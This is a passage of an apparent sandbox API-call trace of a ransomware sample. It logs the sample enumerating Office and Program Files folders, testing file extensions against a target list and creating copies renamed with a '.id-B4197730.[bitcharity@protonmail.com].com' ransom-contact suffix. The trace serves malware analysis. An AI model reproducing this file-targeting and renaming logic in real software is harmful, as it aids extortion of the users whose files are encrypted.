(lpString1=".xml", lpString2=".com") returned 1 [0243.591] lstrlenW (lpString="keypadbase.xml") returned 14 [0243.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x112c [0243.800] GetFileSizeEx (in: hFile=0x112c, lpFileSize=0x251ff14 | out: lpFileSize=0x251ff14*=903) returned 1 [0243.800] CloseHandle (hObject=0x112c) returned 1 [0243.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0243.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0244.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0244.088] lstrlenW (lpString=".doc") returned 4 [0244.088] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0244.088] lstrlenW (lpString=".docx") returned 5 [0244.088] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0244.088] lstrlenW (lpString=".pdf") returned 4 [0244.088] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0244.088] lstrlenW (lpString=".xls") returned 4 [0244.088] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0244.088] lstrlenW (lpString=".xlsx") returned 5 [0244.088] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0244.088] lstrlenW (lpString=".ppt") returned 4 [0244.088] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0244.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0244.089] lstrlenW (lpString=".zip") returned 4 [0244.089] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0244.089] lstrlenW (lpString=".rar") returned 4 [0244.089] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0244.089] lstrlenW (lpString=".bz2") returned 4 [0244.089] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0244.089] lstrlenW (lpString=".7z") returned 3 [0244.089] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0244.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0244.089] lstrlenW (lpString=".dbf") returned 4 [0244.089] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0244.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0244.089] lstrlenW (lpString=".1cd") returned 4 [0244.089] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0244.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0244.089] lstrlenW (lpString=".jpg") returned 4 [0244.089] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0244.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0244.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0244.089] lstrlenW (lpString=".doc") returned 4 [0244.089] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0244.089] lstrlenW (lpString=".docx") returned 5 [0244.089] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0244.089] lstrlenW (lpString=".pdf") returned 4 [0244.089] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0244.089] lstrlenW (lpString=".xls") returned 4 [0244.089] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0244.090] lstrlenW (lpString=".xlsx") returned 5 [0244.090] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0244.090] lstrlenW (lpString=".ppt") returned 4 [0244.090] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0244.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0244.090] lstrlenW (lpString=".zip") returned 4 [0244.090] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0244.090] lstrlenW (lpString=".rar") returned 4 [0244.090] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0244.090] lstrlenW (lpString=".bz2") returned 4 [0244.090] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0244.090] lstrlenW (lpString=".7z") returned 3 [0244.090] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0244.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0244.090] lstrlenW (lpString=".dbf") returned 4 [0244.090] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0244.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0244.090] lstrlenW (lpString=".1cd") returned 4 [0244.090] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0244.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0244.090] lstrlenW (lpString=".jpg") returned 4 [0244.090] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0244.090] Sleep (dwMilliseconds=0x64) [0244.259] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0244.259] lstrlenW (lpString="BL00148_.WMF") returned 12 [0244.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1174 [0244.400] GetFileSizeEx (in: hFile=0x1174, lpFileSize=0x251ff14 | out: lpFileSize=0x251ff14*=1696) returned 1 [0244.400] CloseHandle (hObject=0x1174) returned 1 [0244.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x220 [0244.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0x20 [0244.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0244.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0244.403] lstrlenW (lpString=".doc") returned 4 [0244.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.403] lstrlenW (lpString=".docx") returned 5 [0244.403] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.403] lstrlenW (lpString=".pdf") returned 4 [0244.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.403] lstrlenW (lpString=".xls") returned 4 [0244.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.403] lstrlenW (lpString=".xlsx") returned 5 [0244.403] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.403] lstrlenW (lpString=".ppt") returned 4 [0244.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0244.403] lstrlenW (lpString=".zip") returned 4 [0244.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.403] lstrlenW (lpString=".rar") returned 4 [0244.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.403] lstrlenW (lpString=".bz2") returned 4 [0244.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.403] lstrlenW (lpString=".7z") returned 3 [0244.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0244.403] lstrlenW (lpString=".dbf") returned 4 [0244.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0244.403] lstrlenW (lpString=".1cd") returned 4 [0244.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0244.404] lstrlenW (lpString=".jpg") returned 4 [0244.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0244.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0244.404] lstrlenW (lpString=".doc") returned 4 [0244.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.404] lstrlenW (lpString=".docx") returned 5 [0244.404] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.404] lstrlenW (lpString=".pdf") returned 4 [0244.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.404] lstrlenW (lpString=".xls") returned 4 [0244.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.404] lstrlenW (lpString=".xlsx") returned 5 [0244.404] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.404] lstrlenW (lpString=".ppt") returned 4 [0244.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0244.404] lstrlenW (lpString=".zip") returned 4 [0244.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.404] lstrlenW (lpString=".rar") returned 4 [0244.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.404] lstrlenW (lpString=".bz2") returned 4 [0244.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.404] lstrlenW (lpString=".7z") returned 3 [0244.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0244.404] lstrlenW (lpString=".dbf") returned 4 [0244.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0244.405] lstrlenW (lpString=".1cd") returned 4 [0244.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0244.405] lstrlenW (lpString=".jpg") returned 4 [0244.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.405] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0244.405] lstrlenW (lpString="BOAT.WMF") returned 8 [0244.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1174 [0244.406] GetFileSizeEx (in: hFile=0x1174, lpFileSize=0x251ff14 | out: lpFileSize=0x251ff14*=3350) returned 1 [0244.406] CloseHandle (hObject=0x1174) returned 1 [0244.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 0x220 [0244.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0244.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1174 [0244.407] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.407] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.407] CloseHandle (hObject=0x1174) returned 1 [0244.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0244.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0244.407] lstrlenW (lpString=".doc") returned 4 [0244.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.407] lstrlenW (lpString=".docx") returned 5 [0244.407] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0244.407] lstrlenW (lpString=".pdf") returned 4 [0244.408] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.408] lstrlenW (lpString=".xls") returned 4 [0244.408] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.408] lstrlenW (lpString=".xlsx") returned 5 [0244.408] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0244.408] lstrlenW (lpString=".ppt") returned 4 [0244.408] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0244.408] lstrlenW (lpString=".zip") returned 4 [0244.408] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.408] lstrlenW (lpString=".rar") returned 4 [0244.408] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.408] lstrlenW (lpString=".bz2") returned 4 [0244.408] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.408] lstrlenW (lpString=".7z") returned 3 [0244.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0244.408] lstrlenW (lpString=".dbf") returned 4 [0244.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0244.408] lstrlenW (lpString=".1cd") returned 4 [0244.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0244.408] lstrlenW (lpString=".jpg") returned 4 [0244.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0244.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0244.409] lstrlenW (lpString=".doc") returned 4 [0244.409] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.409] lstrlenW (lpString=".docx") returned 5 [0244.409] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0244.409] lstrlenW (lpString=".pdf") returned 4 [0244.409] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.409] lstrlenW (lpString=".xls") returned 4 [0244.409] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.409] lstrlenW (lpString=".xlsx") returned 5 [0244.409] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0244.409] lstrlenW (lpString=".ppt") returned 4 [0244.409] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0244.409] lstrlenW (lpString=".zip") returned 4 [0244.409] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.409] lstrlenW (lpString=".rar") returned 4 [0244.409] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.409] lstrlenW (lpString=".bz2") returned 4 [0244.409] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.409] lstrlenW (lpString=".7z") returned 3 [0244.409] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0244.409] lstrlenW (lpString=".dbf") returned 4 [0244.409] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0244.410] lstrlenW (lpString=".1cd") returned 4 [0244.410] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0244.410] lstrlenW (lpString=".jpg") returned 4 [0244.410] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.410] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0244.410] lstrlenW (lpString="BOATINST.WMF") returned 12 [0244.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1174 [0244.411] GetFileSizeEx (in: hFile=0x1174, lpFileSize=0x251ff14 | out: lpFileSize=0x251ff14*=29004) returned 1 [0244.411] CloseHandle (hObject=0x1174) returned 1 [0244.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 0x220 [0244.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0244.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1174 [0244.412] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.412] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.412] CloseHandle (hObject=0x1174) returned 1 [0244.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0244.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0244.412] lstrlenW (lpString=".doc") returned 4 [0244.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.412] lstrlenW (lpString=".docx") returned 5 [0244.412] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0244.413] lstrlenW (lpString=".pdf") returned 4 [0244.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.413] lstrlenW (lpString=".xls") returned 4 [0244.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.413] lstrlenW (lpString=".xlsx") returned 5 [0244.413] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0244.413] lstrlenW (lpString=".ppt") returned 4 [0244.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0244.413] lstrlenW (lpString=".zip") returned 4 [0244.413] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.413] lstrlenW (lpString=".rar") returned 4 [0244.413] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.413] lstrlenW (lpString=".bz2") returned 4 [0244.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.413] lstrlenW (lpString=".7z") returned 3 [0244.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0244.413] lstrlenW (lpString=".dbf") returned 4 [0244.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0244.413] lstrlenW (lpString=".1cd") returned 4 [0244.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0244.413] lstrlenW (lpString=".jpg") returned 4 [0244.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0244.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0244.414] lstrlenW (lpString=".doc") returned 4 [0244.414] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.414] lstrlenW (lpString=".docx") returned 5 [0244.414] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0244.414] lstrlenW (lpString=".pdf") returned 4 [0244.414] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.414] lstrlenW (lpString=".xls") returned 4 [0244.414] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.414] lstrlenW (lpString=".xlsx") returned 5 [0244.414] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0244.414] lstrlenW (lpString=".ppt") returned 4 [0244.414] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0244.414] lstrlenW (lpString=".zip") returned 4 [0244.414] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.414] lstrlenW (lpString=".rar") returned 4 [0244.414] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.414] lstrlenW (lpString=".bz2") returned 4 [0244.414] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.414] lstrlenW (lpString=".7z") returned 3 [0244.414] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0244.414] lstrlenW (lpString=".dbf") returned 4 [0244.414] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0244.414] lstrlenW (lpString=".1cd") returned 4 [0244.414] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0244.415] lstrlenW (lpString=".jpg") returned 4 [0244.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.415] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0244.415] lstrlenW (lpString="BS00076_.WMF") returned 12 [0244.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1174 [0244.415] GetFileSizeEx (in: hFile=0x1174, lpFileSize=0x251ff14 | out: lpFileSize=0x251ff14*=1330) returned 1 [0244.415] CloseHandle (hObject=0x1174) returned 1 [0244.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x220 [0244.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 